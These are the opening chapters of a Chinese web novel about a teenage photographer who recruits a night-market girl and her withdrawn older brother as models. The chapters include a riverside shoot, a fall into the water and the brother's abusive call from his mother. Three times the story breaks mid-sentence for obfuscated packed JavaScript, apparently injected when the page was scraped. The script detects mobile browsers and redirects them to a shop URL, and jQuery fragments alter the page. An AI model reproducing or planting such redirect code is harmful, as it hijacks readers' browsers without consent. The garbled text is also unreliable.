《少年乌托邦》 1. 临时模特 八月的天气依旧闷热,连江水都被染上了太阳的温度,哪怕到了晚上,热浪依旧没有散去。 黎迟夏挎着单肩包,侧头眺望着江上缓缓行进的游轮,背后汗湿了一片。郑新言抱着三脚架跟在后面。 “所以——”安雯锦陪着两人散了将近半小时的步,终于明白过来,“你是在采景?” “嗯,这里方便点。”黎迟夏一边举着相机调整角度,一边回答,“马上开学了,不想去太远的地方。” “现在还来得及吗?我记得比赛不是下个星期就截止了嘛?” “来不及。垂死挣扎吧。” 黎迟夏按下快门,江面上没什么风,明镜似的。照片上没有去拍亮着霓虹的游轮,但水上五彩斑斓的倒影无比清晰,另一侧是华灯初上。 “夏哥好好学习呢,哪有时间摄影啊,是吧大学霸!”郑新言笑嘻嘻地吹着口哨。 “啊对对对,我要好好学习呢,小菜鸡一边去,我不和菜鸡讲话。”黎迟夏毫不留情地怼他。 “菜鸡”瞪着他,不敢再阴阳怪气了,毕竟黎迟夏的毒舌他是见识过的,再来两句肯定是讨不到好。 黎迟夏也没工夫理他,盯着相机里单调的画面,不大满意地叹了口气。 一旁郑新言忽然意识到什么,略显惊讶地转向安雯锦,他以为摄影已经算是小众的爱好了。“没看出来你还关心这个啊?我怎么不记得你之前也对摄影感兴趣?” “我?不是,呃——” 安雯锦脸色瞬间红了,以为自己的少女心思被发现,连忙解释。“我是听说黎迟夏一直在参加,随便看看。” “哦,随便看看~~” 郑新言贼兮兮地拖长了尾音,一副懂得都懂的表情,下一秒右肩重重挂上了黎迟夏的包。 “行了,闭嘴吧你,有张嘴的力气不如多拎点东西。”黎迟夏继续往前走。他不是没看出来安雯锦有意,她的示好明显到连黎迟夏父母都看出来了,还找他打听过,毕竟是一起长大,算半个青梅竹马。 但一来他还没有谈恋爱的打算,二来他一直把她当个妹妹。安雯锦本人不点明,黎迟夏也不好戳破让女孩子没面子,便一直守着个不远不近的距离。刚才郑新言嘴贱一搅和,他也怕她多想。 奈何郑新言没心没肺得厉害,只知道在后面嗷嗷叫,“我靠,夏哥,你这是压榨员工!这么热的天,我本该在家里打游戏的。我把你当兄弟,你把我当牛马,下次必须请我去海底捞……” “给你一巴掌吃不吃?你个菜鸡打什么游戏,玩这么久不还是个黄金吗?” “我那是不小心掉星了好不好!根本不是真实水平!”郑新言被揭了短,马上不服气地挽尊。 吵吵嚷嚷着,三个人周围渐渐热闹起来。灯光汇成一条没有尽头的河流,漫入夜色。人群顺势蜿蜒,摊铺琳琅满目,笑声与叫卖声融成一片,各种扑鼻的香气在热风里扩散得很快。 “夜市这么热闹啊!”安雯锦新奇地四外张望,相比之下郑新言已经开始打哈欠了。 黎迟夏买了三个冰淇淋碗和几袋烤肉,在附近走动着搜寻拍摄素材。 郑新言和安雯锦也不客气地大快朵颐,毕竟黎迟夏都算得上富家少爷,不差这点儿钱。 “姐姐,买手手手手链吗。”一个细如蚊蚋的声音凑过来,几乎淹没在喧嚣声里。说话的是个八九岁的小女孩,伸手似乎想拉安雯锦衣角,又紧张地缩回去。 两个人都没反应,倒是黎迟夏拍完了素材转头正巧看到那孩子。 “安雯锦,这小孩你认识吗?” 小女孩抬头也看见黎迟夏,一对上就怯怯地往后退,像见了洪水猛兽似的。 黎迟夏看到她的反应,无奈地抓了抓头发,自己长得很可怕吗? “啊,不认识。”安雯锦也一脸懵,还是俯身问她,“小妹妹,你有什么事嘛?” 小女孩把刚才那句又结结巴巴地重复了一遍,指了指自己身后的小地摊。 花坛边上铺了一块布,摆满了各种各样的小玩意,最多的是编绳,红的,蓝的,白的,有手链,也有中国结,还有用草叶编的蜻蜓蚂蚱,旁边躺着扎成束的花,但是看起来蔫蔫的,黎迟夏估摸着是小姑娘自己在路边摘的,他若有所思地看向手里的相机。 黎迟夏随手拣起一个编绳,绳子有些粗劣,但编得倒挺好。 小姑娘扎着两个小巧的丸子头,穿着满是褶皱的白色连衣裙,裙身上有浅色的污渍,脸颊略显消瘦,没有这个年龄的婴儿肥,眼下还有淡淡的青黑,此时正紧张地绞着手,怯懦地抬眼观察三人,像只随时准备跳开的兔子。 “这些是怎么卖的呢,小妹妹?”安雯锦看得心软,已经拿出手机准备付款了。 “都都都是一个两两两两块。”小姑娘声音依旧低弱,安雯只有弯下身子才能听清楚。 “行,”安雯锦随手拿了一把,“转你六十吧。” 小姑娘愣了一下,顿时喜形于色,雀跃地举起脖子上挂着的二维码。 “小妹妹,”黎迟夏这时突然开口,“有没有兴趣拍几张照片?” 两个同伴听了都有点惊讶。 “那个……”小姑娘支支吾吾了半天,才小声问出来,“有钱吗?” “有。”黎迟夏答得很爽快。 安雯锦好奇问道,“咦咦咦,我以为你不拍人像呢。” “拍啊,”郑新言插了一句,“夏哥相机里还有一张贼帅的。” “喏,就这张。” “哇塞,这是模特吗?”安雯锦看了一眼也忍不住惊呼。 照片里的少年戴着口罩,因为是近镜头,甚至能看到他凌乱的发丝和睫毛,眼神冷寂,仿佛有霜雪初化。当时刻意模糊了背景,但仍能分辨出底色里炙热的夕阳和烧红的云层。 “不是模特,就一路人,还行吧,拍着好玩。” 黎迟夏笑着回答,目光在照片上定格了一瞬。 那张照片是他在少有的人像摄影成品,算不上多么精妙,却被他当作“杀手锏”一般的存在。 每一回看到这张照片,黎迟夏都由衷地佩服自己的拍照技术,虽说主要是那“模特”的功劳。 “不过这回能行吗?这孩子太小了吧?”郑新言小声问道。 “试试吧。”黎迟夏倒觉得没什么,像他这种能把参赛作品拖到最后一天的奇葩,也只能死马当活马医了。 他这次拍的纪实风格,小摊就是现成的素材,也不同于刚才那张的脸部特写镜头。他的老师曾告诉他,摄影的底牌是真实,谁捕捉到真实,谁就捕捉了美。 真实的笑,真实的泪,或者是,真实的苦难。 “你自然一点就好。”黎迟夏半蹲下来,“不用看镜头。” 黎迟夏尝试从不同的角度捕捉场景,他喜欢抓拍的感觉,尽管这样不一定清晰好看。 小姑娘配合得不错,那种原始的局促和不安,反而成了作品的亮点。 黎迟夏翻了几张,还挺满意,不经意间瞥向小姑娘,发现她正眼巴巴地望着烤肉摊。 他随口问了句,“想吃?” 小姑娘不作声,只是摇头,连忙移开目光。 黎迟夏沉默片刻,扯了扯嘴角。 行,刚才只是结巴,到他这儿就变成哑巴了。 郑新言见状拎了一袋烤串塞给小姑娘,还顺手给她买了酸梅汤。小姑娘手足无措地抱着,没有动作。 “吃呗。”黎迟夏垂下眼看得好笑,存心逗她,“从你工资里扣了。” 小姑娘信以为真,果然被唬住了,急忙就要还回去。 “欸……”黎迟夏愣住了,有点后悔乱说话了,看着她惶恐不安的神色心情有点复杂,最终扶额叹了口气。 “刚开玩笑的,他请你的,算工作餐了,不想吃就扔掉。” 小姑娘小心翼翼地看他一眼,这才放心地狼吞虎咽起来。 “这小孩子怪可怜的。”安雯锦刻意压低了声音。 “而且胆子也忒小。”郑新言接话道,“夏哥,你干啥了?她好像挺怕你。” 我怎么知道? 但黎迟夏非常无耻地回答,“没办法,你爹就是帅得惊世骇——” “呕,”那小姑娘吃到一半,突然捂着肚子跑到垃圾桶旁边吐,把三个人都吓了一跳。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344684|199478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ??? “卧槽?” 郑新言习惯性地爆了句粗口,又连忙捂住嘴。 “你下毒了?”黎迟夏挑起眉,一时间也弄不清状况。 郑新言看得目瞪口呆,直呼冤枉,“夏哥,我可什么都没干。” “给她家里打个电话?” “对不起!”小姑娘见三人都盯着自己看,慌忙摆手解释,“我是病,经常吐的。” 不知道是不是口吃的原因,小姑娘话很少,即便开口也是三五个字,有时甚至连不成完整的句子。 三人将信将疑,彼此交换了个眼神。 “身体还有什么不舒服就说,别把自己吃出问题了。”黎迟夏见她除了脸色微白没什么别的问题才放下心,但小姑娘年纪小,对自己的身体状况也未必清楚。 小姑娘急忙摇头示意没事,然后犹犹豫豫地开口,“哥哥,可以看照片吗?” 黎迟夏爽快地把相机给她看,里面有十几张备选。 正在翻照片的小姑娘轻轻“啊”了一声,眼睛忽然睁大,黎迟夏有点莫名其妙地低头看去,分不清这个“啊”是褒还是贬。 “是我哥哥。” 小姑娘激动地指着黎迟夏那张“杀手锏”的作品,似乎没那么怕他了。 “我靠,”郑新言大惊小怪地叫了一声,“你哥长这么帅啊!” “嗯……”小姑娘不好意思地摸了摸自己的丸子头,脸上又分明是掩藏不住的自豪,看起来不像吹牛。 黎迟夏灵光一闪,来不及多想便脱口而出了,“小妹妹,能不能请你哥哥帮个忙?” 她眨巴着眼睛想了想,恍然大悟,“拍照吗?” 小姑娘还挺聪明。 “对,有报酬。” “报酬”两个字一出,小姑娘眼睛明显亮了,立即点头如捣蒜。 拨出号码的“大哥大”没过两秒就被接通了。 “喂?”或许是老年机太旧了,有很大的电流声。 “哥哥。”不知是不是错觉,黎迟夏感觉小姑娘有点过分的小心,并不像兄妹间的亲热。 “老地方?”电话那头问得挺笃定,听到女孩应声,便把电话挂断了。 黎迟夏在一旁看得很新奇,这绝对是他见过最简短的电话,电视剧里仇人相见都要唠半天,这兄妹俩倒和打哑谜似的,一个多余的字都没有。 “嗬,要见到模特真人了。”郑新言半开玩笑地说,“你们真是亲兄妹吗?” “是的,”小姑娘急忙为哥哥发声,“我哥哥特别好。” 黎迟夏对此也存疑,既然眼里能出西施,妹妹眼里也可以出沉香。 不过看兄妹家境想来是为了省话费,毕竟以这小姑娘的语速,等她把话说明白估计电话费都得翻几番。 他对她哥倒也有点印象,毕竟当过自己的临时模特,印象嘛,除了好看,就是高冷。 最好看的是那双眼睛,最高冷的也是那双眼睛。 那天因为带着口罩,只能看见他落了碎发的前额和微垂的狭长双眼,瞳孔像浸过冰水的琥珀,显得格外冷淡,冷得不近人情。 说起来这张照片还算是偷拍的,偷拍也就算了,偏生还教人家发现了,虽然对方也没计较,却显得他像个变态。 正想得出神,有人骑着自行车从小道过来,黎迟夏乱七八糟的思绪被一道突兀的声音打断: “纪念。” 黎迟夏愣了一下,才反应过来在喊那小女孩。 名字挺简单,但并不难听。 “哥!”小姑娘看到自行车旁边的少年,蹬蹬地就跑过去。 路灯挺亮,但人在暗处,脸上打出一片淡灰的阴影,像蒙尘的珠玉。 黎迟夏看着眉眼沉郁的青年,突然有种奇怪的不真实感。明明是这么好看的一张脸,偏偏把自己包装成一团透明的空气。 对方的眼神在自己身上多停留了一秒,黎迟夏就知道他认出来了。 他一看到这个模特就想起自己丢脸的样子。 黎迟夏一时无言,不知道这个头该怎么开,难道来一句:你还记得我吗,对,就那个偷拍你的变态。 2. 疯子在右 纪念拉着那男生的衣服,朝他招了招手,示意有话要说。少年便俯身听她附耳说了几句。被灯光照亮的轮廓其实很柔和。 并非那么不近人情,黎迟夏想。 对方得知他是来找自己当“模特”有些惊讶,但接受得很快,“现在拍?还是再约个时间?” “现在吧,你方便吗?”黎迟夏意有所指地看了眼纪念。 “她能自己回去。”少年熟稔地收拾完地摊,一旁纪念的目光在两人之间逡巡。“听你安排就成。” “那行,”黎迟夏转头朝两个同伴摆摆手,“时间也不早了,你们不用陪了,估计得拍一阵。” “安雯锦,让王叔送你回去吧。”黎迟夏指了指旁边的私家车,在她开口拒绝前让司机开了车门,半玩笑地说道,“地铁站离这挺远,过了宵禁你爸要怪我的。” “夏哥,我呢我呢。”郑新言觍着脸凑过来。 “你什么你,你家不到一千米的距离还要我给你推个轮椅吗?”黎迟夏不为所动地翻了个白眼。 郑新言幽怨地看着他,“果然没爱了,无情的人。” 黎迟夏表示,呵呵,从来没有过哈。 夜市到了最热闹的时段,一眼望过去人头攒动。两人并肩而行,却像两个语言不通的陌生人。 “好巧,又见面了。”黎迟夏尝试打破僵局,“上次还没问过你名字?” 妈的,这什么鬼话,莫名就有种玛丽苏小说女主的娇羞感,倒不如直接来一句您贵姓,今年贵庚。 反正都不正常。 回答的声音轻得仿佛下一秒就会飘散在风里。 “纪远声。” “哦,那,我叫黎迟夏。” 到这里又没有下话了。 黎迟夏绞尽脑汁找话题,突然想起来,“你妹妹刚才吐了,没什么事吧?” 纪远声摇头,“没事。” 又是沉默。 “你是不是心情不好?” “啊?” 一旁纪远声像如梦初醒,看了他一眼,“为什么这么说。” “很明显啊,我心情不好就不爱说话。” “不是,”纪远声说话有点生硬,像很久不曾和人交流了,“我就是这样。” 黎迟夏扯了扯背包,“行吧。” 纯高冷呗。 黎迟夏撇了撇嘴,放弃了搭话的打算,目光四处搜罗。 “那里可以,走,去试试!” 黎迟夏指着远处一块平滑的石头,转头朝纪远声道,“你坐上去看看。” 纪远声照做了,动作比黎迟夏想象中灵活。 黎迟夏弯腰调试相机,嘴里没闲着:“你往左边站点,对,再退半步,小心点。” 他说着往后退,一直退到堤坝边缘,镜头里的纪远声被江水和对岸的城市天际线包围着,安静地坐在石头上,像一尊被遗忘在江边的雕塑。 可惜天色太黑,效果不算好。 黎迟夏从背包里找出一个改造的手电筒,换着角度朝纪远声打光。 “你笑一下。”黎迟夏探头朝他喊道。 纪远声听到了,嘴角牵动了一下,没笑出来。 黎迟夏按了几张,又觉得不够,索性躺下来,相机从地面往上仰拍。 这回镜头里的纪远声变高了,背后是灰黑的天空。他坐在那里,像是悬在天与地之间。 孤寂,而且凄凉,黎迟夏没来由想起一句歌词。 一个人漂泊无依无靠~在陌生里寻找归宿~ “你躺地上干什么。”纪远声终于有了点反应,声音隔着十几米的距离传来,像是在笑,又听不真切。 “艺术家的自我修养。”黎迟夏理直气壮,“躺地上算什么,我为了拍照还爬过树呢,被保安追着跑了三条街。” 远处纪远声轻轻弯了弯嘴角,弧度很小,但黎迟夏的镜头捕捉到了。 “卧槽,终于笑了啊,”黎迟夏跳起来,“不枉费我一番苦心。” 纪远声走过来,愣了一下,低声问道,“非要笑?” 黎迟夏摸了摸后颈,“也不是。” “只是我喜欢拍一些罕见的东西。” 甚至都不全是为了拍照,只是有点好奇,这张冷淡的脸笑的时候会是什么样子。 纪远声张了张嘴,似乎想说什么,又终究没说出口。 “如果是白天就好了,现在背景都是一团黑的。”黎迟夏没觉察,他专心地检查刚拍的照片,有点惋惜。 不过倒和纪远声本人挺相配。 “以后还有机会。”一旁纪远声干巴巴地说了一句,听不出是客套还是认真的。 “再走几百米有个芦苇荡,去看看吗?”纪远声问他。 “好啊。”黎迟夏兴致勃勃地从堤坝上跳下来,“跟着你走!” “你对这一带挺熟啊。” 纪远声没接茬,沉默片刻才道,“以前经常来。” “哦——”黎迟夏拖长了音调,“我家离这儿远得很,一直想拍江景来着。” 纪远声想了想,“再走一个小时左右,有个亲水平台。” 他说话时眼睑微垂,像在回忆什么。 “去!”黎迟夏来了兴趣,“你带路啊!” 芦苇荡在码头东侧,枯黄的芦苇秆被风吹得沙沙响。黎迟夏让纪远声站进去,自己绕着外围找角度。 “你头发上有东西。”他突然说。 纪远声伸手去摸,什么都没摸到。 “别动,我来吧。”黎迟夏钻进芦苇丛,凑到他面前,“是芦苇絮,白白的,粘在头发上还挺好看。” 摘掉的白絮慢悠悠掠过黎迟夏鼻尖,有点痒。 他说着抬起手,却没有直接摘掉,而是举着相机凑近,几乎要贴到纪远声脸侧。 快门声响起的时候,纪远声闻到了他身上淡淡的洗衣液味道。 纪远声看了两秒,在对方察觉之前移开目光,“你拍谁都这样吗?” “哪样?” “凑那么近。” 黎迟夏愣了一下,随即笑出声,“怎么可能!我有洁癖啊!” “那你还躺地上……” “不一样。” 黎迟夏丢了个口香糖到嘴里,吹了个并不成功的泡泡,“我是不喜欢,呃,和人,亲密接触。” 纪远声沉默片刻,“刚才算吗?” 黎迟夏愣了片刻,意识到刚才的动作有些过分的……亲密? 芦苇絮还不依不饶地粘在他衣服上,黎迟夏低头拍掉,压下那点异样的情绪。 那么近的距离,居然并不讨厌。 单纯因为纪远声长得好看?太扯了,他又不是颜狗,更何况还是个男生。 保险起见,“算吧,”黎迟夏说道,他起身往外走,“也不会有下次了。” “像你这样的模特毕竟很难找啊。” 少年的神情显得轻佻,语气也是。 “这条路都没什么人了。”黎迟夏双手插兜,人有点懒洋洋的,耳边只有不知哪儿传来的蛙鸣,“小路吗?” 纪远声回答,“差不多,”他偏了偏头,“还是走回主道?” “不用,人少挺好。” 黎迟夏揉了揉被包勒得酸疼的肩膀,“走吧,去亲水平台,我还没见识过呢!” “那边……”纪远声犹豫了一下,“挺远。” “没事,”黎迟夏双臂后张,后脑勺枕在交叠的手掌上,“欸,会不会耽误你回家?” “不,”纪远声顿了一下,声音忽然低下去,“家里除了我妹,没别人。” 黎迟夏走在前面,没听出他的异样,“我爸妈也这样,天天都在忙工作,天天都在出差,不过我家有个阿姨。” 纪远声不再说话了,只听黎迟夏自顾自地继续聊。 “我之前喜欢热闹的地方,现在发现清静也还不错。这边挺好看的,就是没什么特色。”黎迟夏伸了个懒腰,其实他自己都弄不明白这“特色”究竟是什么。 可能是一种感觉吧。 “我很少拍人像,对了,你妹的报酬和你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不同于纪远声狭长淡漠的眼睛,黎迟夏长了一双偏圆的杏眼,眸光澄澈而明亮,像鹿的眼睛。 对视的时候让人忍不住想逗弄。 纪远声嘴角动了动,“秘密。” “嘁,”黎迟夏转过脸,“怎么,你笑一下还能触犯天条啊?” 不说就不说,还故意说些莫名其妙的话吊人胃口。 纪远声叹了口气,“你话好多。” “那是。”黎迟夏背上包,笑眯眯地往前走,“话少的人我负责把话补齐,话多的人我负责捧场,这叫社会责任感。” 到这里已经很荒凉了,附近看不到商店,黎迟夏从包里翻出一袋巧克力,忽然开口。 “你饿不饿?” 他也没等纪远声回答,掰断了巧克力,把其中一半放他手上。 其实是无蔗糖的百分之百纯黑巧。 纪远声犹豫好一会才咬了一口,然后在黎迟夏狡黠又期待的目光下艰难地咽下去。 “怎么样?”黎迟夏像是早有预谋,坏笑着问。自己的那一半动都没动。 苦味在口腔蔓延。 “谢谢,挺好吃的。”高冷的“模特”依旧高冷,眉头却不自觉地皱起来。 黎迟夏计谋得逞,立即把自己手上那块也给了出去,“好吃的话,这一半也给你了。” 纪远声面无表情地盯着手上的两块巧克力。 黎迟夏满意地欣赏着那张好看的脸果真僵住,终于再无顾忌地笑出了声。 “哈哈哈哈哈!” “纪远声小朋友,不要乱吃陌生人给的东西啊!” “小朋友”掀起眼皮凉薄地笑了一下。 “黎迟夏。” “昂?” “不是想知道那个秘密是什么吗?” “昂?” 3. 落水 在黎迟夏靠近的瞬间,纪远声突然掰下一块巧克力放到他嘴里。 黎迟夏呆了一瞬,反应过来,嘴里塞着齁苦的巧克力,含糊地叫道。 “哦靠,纪远扔,你是扔的狗!” “好东西要一起分享,”纪远声非常平静地吃完剩下的,听得出隐隐的笑意,“怕你还没尝过味道。” 纪远声说的亲水平台的确是废置的。 伸向江面的水泥台阶爬满青苔,有几级已经塌了一半,碎块沉在水底,隐约可见暗绿色的轮廓。护栏的铁链断了两截,剩下的锈得发红。 很静,太静了。 连路灯都不肯施舍一点光线。 唯一的光来自对岸,隔着几百米的江面,遥远得像另一个世界。 按理说不该跑大老远来这样荒芜的地方,况且面前还围着成年人一脚就能跨过去的麻绳,旁边竖了个牌子,写着“水边危险,禁止入内”。 显得很蠢。 纪远声不着痕迹地去看黎迟夏的表情,却看不出一星半点的失望,甚至有点兴奋。 “这地方还挺有特色,适合给你拍照。”黎迟夏说得真心实意,没有阴阳的意味。 “不荒凉吗?” “荒凉,”黎迟夏撇了撇嘴,低着头调整光焦,“不代表丑陋,如果只有茂盛才被欣赏,那审美不是太单一了吗?” 纪远声怔了片刻,“你真这么想的?” 黎迟夏翻了个白眼,“哄你干嘛?” “你靠着铁链我看看。” 黎迟夏灵感迸发似地咔咔咔拍下不少,要是有路人经过,看了这破败的背景,高低得骂一句神经病。 “好了,”黎迟夏打量着自己的模特,笑得像个调戏良家妇女的纨绔。 “果然人长得好看怎么拍都好看。” 他说完又举起相机,“来,最后一张,你对着江面喊一声。” “喊什么?” “随便,你名字也行,或者喊‘我很好’也行。”黎迟夏往后退,“快,趁月亮还没被云遮住。” 少年作势要喊,但听不到声音,黎迟夏也不催他,纪远声总有些端着,连话都少,让他大喊未免强人所难了。 说得好听是高冷,说得难听就是装了。 举起相机时黎迟夏的心却猛地跳了一下。 这人明明什么都没做,只是低着头,却让整个画面都有了故事感。 “抱歉。”纪远声低声道,“我再试一遍吧?” “没事啊,拍挺好的。”黎迟夏折了根不知名的野草,问了个挺傻X的问题,“这里有鱼吗?” “以前有。” 纪远声的回答出乎他的意料。 黎迟夏伸脚拿鞋尖碰了碰水面,居然也能玩得兴致盎然,脚底溅起一朵朵水花。 “别。”纪远声正要阻拦,便见他脚下一滑,随着那松动的木板一齐歪下去。 伴随着少年的惊呼声,纪远声眼疾手快地一把捞住他,快得像某种本能。 贴上去的瞬间,他感觉黎迟夏后背像触电似的绷得死紧。纪远声暗自好笑——居然真有这种与众不同的洁癖。 “卧槽!” 黎迟夏下意识拽住了他的衣服,后腰传来对方几乎发烫的体温。衣领被他扯这么一下,露出一半清晰的锁骨。 好死不死的是,纪远声踩的也是个雷。 结果是两个人一起掉水里。 水是温热的,如果不是沦为狼狈的落汤鸡,应该还会挺舒服。 黎迟夏扶着岸边伸直了腿,发现还能蹬到底,水面刚好到胸口,像小孩子的游泳池。 他看了看身边不知是站在水底还是浮着的纪远声,有点无语。 “你也跳下来干嘛?” 纪远声无言以对,这他妈叫跳下来吗?还也?扯淡呢。 “这么浅的滩,”黎迟夏叹了口气,“怎么,你还怕我淹死啊?” 纪远声也跟着叹了口气,“那你装一下呢?” “噗,”黎迟夏扒着石头爬上去,“装不了一点。” “上来啊,还要我拉你啊?”黎迟夏蹲在岸边笑道。 纪远声也上去了,说话像个大人。“这儿算是‘危桥’,到处都是青苔,而且松动得厉害,很容易摔跤。” “摔了也没事,洗个澡而已。”黎迟夏不以为意地拧干衣服上的水,“你真比我妈还能操心——” “黑黑的天空低垂,亮亮的……” 一串舒缓的电话铃声在没有蝉鸣也没有蛙叫的野外还是很突兀。黎迟夏抬眼,“你电话?” 纪远声看了眼手机,实话实说,“我妈的。” 黎迟夏扭头不问了。 他往远处走了点,才接听电话,“喂,妈。” 另一端显然不像他这么平静,听起来是个歇斯底里的泼妇,咆哮里裹着刺耳的咒骂。她是在骂身旁的某个人,过了几秒才意识到电话接通了。 在突然安静的那一秒,纪远声几乎要点下挂断。 但对面的骂声先他一步。 “纪衍,你个王八蛋,你死在外面了是不是?我疯了,我他妈就是疯了!” 纪远声不动声色地捂紧了出声孔,除了脸色略显苍白看不出任何异样。 “你拿了钱在外面享受,你好快活啊,我疯了是因为谁,你心里没点*数吗,你怎么不去死?” 那头喘着气,兴许是骂累了。在纪远声有机会说话之前,女人又及时续上了。 “你连畜生都不如!你就该和那个不要脸的**一起下地狱!你们不得好死!老娘要是先死了变成鬼,第一个把你们都拖下去,把你祖宗十八代都刨出来,让你断子绝孙!” 那头又停了,这回可能是卡壳了,在想骂人的话。 “妈,纪衍死了,我是纪远声。”他语调极其平缓,不带任何情绪,仿佛只是把一句重复了一百遍的话,说了第一百零一遍。 那头的咒骂一下子静了音,女人又开始哭,那种撒泼式的,不讲道理的哭。 旁边有人在劝,而且还对着电话说,“不好意思,先生,病人最近情绪不稳定,我先把电话挂了。” 纪远声“嗯”了一声,原地僵了半晌,耳边的盲音都没了才后知后绝地放下手机。 黎迟夏盯着江面发呆,那手机铃声还挺应景的。他就是奇怪一个看起来都成年了的男生,居然会用哄小孩的歌当手机铃声。 纪远声靠着树干点了根劣质烟,一边呛得直咳嗽,一边使劲吸,直到眼角逼出点湿意。 半个烟头掉在地上,微弱得几乎看不头的火星兀自明明灭灭,然后熄了个彻底。 纪远声感觉大脑里仿佛有一颗心脏,或者心跳从哪根神经传到了大脑,跳得快而剧烈。 他意识到自己浑身都在发抖,四肢都溢出充沛到异常的活力。 有一瞬间他被病态的狂热和焦躁支配,完全沉浸在一个随时都会坍塌的世界。 黎迟夏还在附近等着。他哆嗦着手,从药瓶里倒出几粒药片干咽下去。 好像有什么哽在喉头,也许是药,说不上有多难受,真说不上。纪远声猜自己应该是想骂人,像个复读机一样把他妈的咒骂原封不动地吐出来,不是骂谁,只是单纯的发泄。 正常人面对恶意大概都是脆弱的,更何况这份恶意来自亲人。 甚至没有躲避和反抗的余地。 等纪远声回来,看见黎迟夏嘴里叼着根草,全神贯注地盯着水面。陡然升起的烦躁松开了魔爪,没有烟消云散,但却留出一丝喘息的空间。 他努力把情绪压下去,“怎么了?” 黎迟夏回头看到他,吐掉了草,撑着膝盖站起来,“你妈催你回家吗?” “不是。”纪远声说完嘴巴就闭得死紧,一句都不多说了。黎迟夏觉得就算撬开他牙关大概也撬不出什么话。他换了个话题。 “这里真有鱼吗?以前。” 纪远声被问得一愣,旋即原话奉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344686|199478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还,“哄你干嘛?” “那鱼现在怎么不来了?” 纪远声无语,还是耐着性子答,“鱼又不傻,这水浅,又没人丢鱼食。” “哦,”黎迟夏踢了个石子下去,话锋又一转。 “拍够了,回去吧。” “好。”纪远声其实求之不得,他现在就是一座喷发边缘的火山,也许下一秒就会伤及无辜。 但他没疯,没法把发疯当借口。 回程路上沉默得多,黎迟夏敏锐地察觉到他身上的低气压,明智地没有自讨没趣。 临分手前黎迟夏才开口。 “下回还是找你咯,纪远声小朋友?” 如果有人能在开玩笑的时候全然地直视对方,那么玩笑都不再是玩笑了。 纪远声避开他的眼睛,被药物压制的狂热莫名地涌上来,话没经过大脑就脱口而出了,“为什么选我?” “不为什么,”黎迟夏像是听到什么好笑的话,答得理所当然,“直觉呗。” 纪远声没说话,直到黎迟夏背影渐远才叫住他。 “黎迟夏,下回不用给钱了。” “再说吧。”黎迟夏背对着挥了挥手,“我的模特儿,合作愉快。” 黎迟夏到家的时候,已经是北京时间十一点四十三分了,好在他是标准的夜行动物,虽然今天又创造了新的晚归纪录,爸妈也都没多说什么。 黎母瞥到儿子一身透湿的样子,才有些惊讶,“咋回事啊这,外面也没下雨啊?你去洗澡了?” “……” 黎迟夏有时候觉得他妈的幽默真是不分场合。他在路上没觉得,反射到现在才开始难受,衣服紧贴着后背,而且分不清是汗还是水。 黎小少爷不太受得了这个,嫌弃地撩开汗湿的碎刘海,回答带着点怨气。 “游泳去了。” 父母也不多问了,毕竟他做的异于常人的事还真不少,不差这一件。 真说是去游泳,他们也完全能接受。 花洒的水仰面浇下来。 黎迟夏揉着肩膀,也不知道是跟谁较劲,自己这一路保守估计得有五六公里,中间就休息了一回。他觉得自己纯粹是脑子有病,自讨苦吃。 本来黎迟夏体力也不错,初中那会儿一千米还拿过名次,但他是真没想到纪远声这么能走,跟个不知疲倦的机器人似的,害得他也不能先喊累。 恐怖如斯。 黎迟夏一洗完澡就忙着去修作品了,原本他都打算放弃这次的摄影比赛了,毕竟都开学前一天了。但是既然遇上了纪远声,不认真拍几张都对不起“临时模特”。 路过客厅时有父母的对话声,他无意捡了个耳朵。 “新言和阳阳正好分在一个班嘞。”阳阳是黎迟夏的小名。 “蛮巧的,正好上学住校有个照应。” “阳阳语文老师我还认得。”黎迟夏心头警铃大作,他最怕的学科可就是语文,真要是熟人岂不就是上课还被他妈间接监视嘛。 “好像有个资助的学生也在市一中。” “你还去查?恁有闲工夫啊。” “怎么又忘了关门?没吵到你吧?”黎母走进来,在桌上放了杯热牛奶,“修照片呢?我看看。” “NO,”黎迟夏反应迅速地压下电脑屏幕,“高级机密,得奖了才能看。” “行行行,还神神秘秘的!” “妈,今儿您老休假了啊?还有时间回来?” “休啥假啊?”迟棠笑道,“这不是看你要住校了,我和你爸特意来和你告个别嘛,是不是很感动?” “......幸灾乐祸来的吧。” 黎迟夏苦命地扯了扯嘴角,想到住宿就烦躁:他认床,住校又不能带电脑,连手机都要偷摸着用,简直跟蹲监狱没什么两样。 他伸了个懒腰,决定不再想这烦心事,想起刚才“捡的耳朵”,随口问道,“对了,我爸资助的一个学生真在我们学校啊?” 4. 破碎的他 “还在你们班呢。”迟棠答道。 “你们查这么仔细?” “不是你爸去查的,”迟棠解释,“程逾川聊起来的,可能是认识吧。” 黎迟夏咂了咂嘴,程逾川是眼高于顶的主儿,竟然会结识个被资助的贫困生。 话又说回来。 “那还挺厉害,我和郑都是踩线进。” 市一中在全省都是数一数二的,一个贫困生要考进来,多少有点困难。 